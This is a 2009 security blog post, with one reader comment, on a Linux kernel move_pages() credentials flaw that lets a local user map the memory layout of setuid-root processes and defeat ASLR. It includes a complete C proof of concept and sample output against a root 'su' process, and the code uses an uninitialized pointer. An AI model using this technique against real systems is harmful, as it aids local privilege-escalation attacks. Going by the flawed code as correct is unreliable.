jump to navigation

NUMA and ASLR 2009/08/28

Posted by dividead in Uncategorized.
Tags: , , , ,
trackback

In the same link as mentioned in my previous post Tinnes hinted at interesting things to be done with NUMA having CAP_SYS_NICE through, say, pulseaudio.

I have no idea whether this is the issue he was referring to, but if it was then the issue is actually far more usable than he sketched, as the credentials check is rather wide, and this whole thing is reliably usable in local exploits without having to go through the trouble of getting CAP_SYS_NICE.

When checking out the NUMA code in the Linux kernel I found the following interesting case in the move_pages() systemcall defined in mm/migrate.c and meant to move pages between NUMA nodes, but also query the status of pages.

        /*
         * Check if this process has the right to modify the specified
         * process. The right exists if the process has administrative
         * capabilities, superuser privileges or the same
         * userid as the target process.
         */
        rcu_read_lock();
        tcred = __task_cred(task);
        if (cred->euid != tcred->suid && cred->euid != tcred->uid &&
            cred->uid  != tcred->suid && cred->uid  != tcred->uid &&
            !capable(CAP_SYS_NICE)) {
                rcu_read_unlock();
                err = -EPERM;
                goto out;
        }
        rcu_read_unlock();

This credentials check certainly looks interesting, and is easy to pass when we have CAP_SYS_NICE, but there is more. First of all note that tcred specifies the credentials of the remote task, and cred the credentials of the current one. This test is then also passed if the remote uid or saved uid is equal to either our current uid of effective uid. This is easy to satisfy for all setuid root executables, as the uid of the remote executable will start out as the uid of the process that calls execve() on it.

So, if we spawn a process, then we can pass the credentials check in move_pages() and query their status.

Lets whip something up which queries pages through move_pages() to verify this.

/* dividead 2009 */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <syscall.h>

#define MOVE_PAGES_NUM          65536
#define ERROR(x)                ((x) == -EFAULT || (x) == -ENOENT)

int main(int argc, char **argv)
{
        void *address[MOVE_PAGES_NUM];
        int status[MOVE_PAGES_NUM];
        int start_used = 0;
        unsigned int i, j;
        unsigned char *p;
        void *start;
        pid_t pid;

        if (argc != 2) {
                fprintf(stderr, "error\n");
                exit(EXIT_FAILURE);
        }

        pid = atoi(argv[1]);

        do {
                int ret;

                for (i = 0; i < MOVE_PAGES_NUM && p < p + 4096; i++, p += 4096)
                        address[i] = p;

                ret = syscall(__NR_move_pages, pid, i, address, NULL, &status, 0);
                if (ret == -1) {
                        perror("move_pages()");
                        exit(EXIT_FAILURE);
                }

                for (j = 0; j < i; j++) {
                        if (ERROR(status[j]) && start_used) {
                                printf("%p-%p\n", start, address[j]);
                                start_used = 0;
                        } else if (!ERROR(status[j]) && start_used == 0) {
                                start = address[j];
                                start_used = 1;
                        }
                }
        } while (p > p - 4096);
}
[dividead ~]$ id
uid=500(dividead) gid=500(dividead) groups=500(dividead)
[dividead ~]$ ps aux | grep "su -" | grep -v grep
root     19908  0.0  0.0 130992  1248 pts/3    S+   22:32   0:00 su -
[dividead ~]$ cat /proc/19908/status | grep Uid
Uid:    500     0       0       0
[dividead ~]$ ./numa 19908
0x400860-0x405860
0x407860-0x409860
0x609860-0x60a860
0xdf4860-0xe04860
0x3d71200860-0x3d7121b860
0x3d7121c860-0x3d7121d860
0x3d7141e860-0x3d71420860
...

As I’m running on x86-64 this will still take forever, but given some additional information, such as knowing the three most significant bytes of the address ranges are not mangled by ASLR anyway we can determine where things are mapped pretty decently.

About these ads

Comments»

1. huku - 2009/09/02

Hello dividead,

I really enjoyed both this and your previous post. It is obvious that you have a great understanding of system internals. Good work! :-)

I have a question though… Afaik NUMA is only used for Xeon and Opteron chips. Am I wrong?

Keep up the good work
./hk


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Follow

Get every new post delivered to your Inbox.

%d bloggers like this: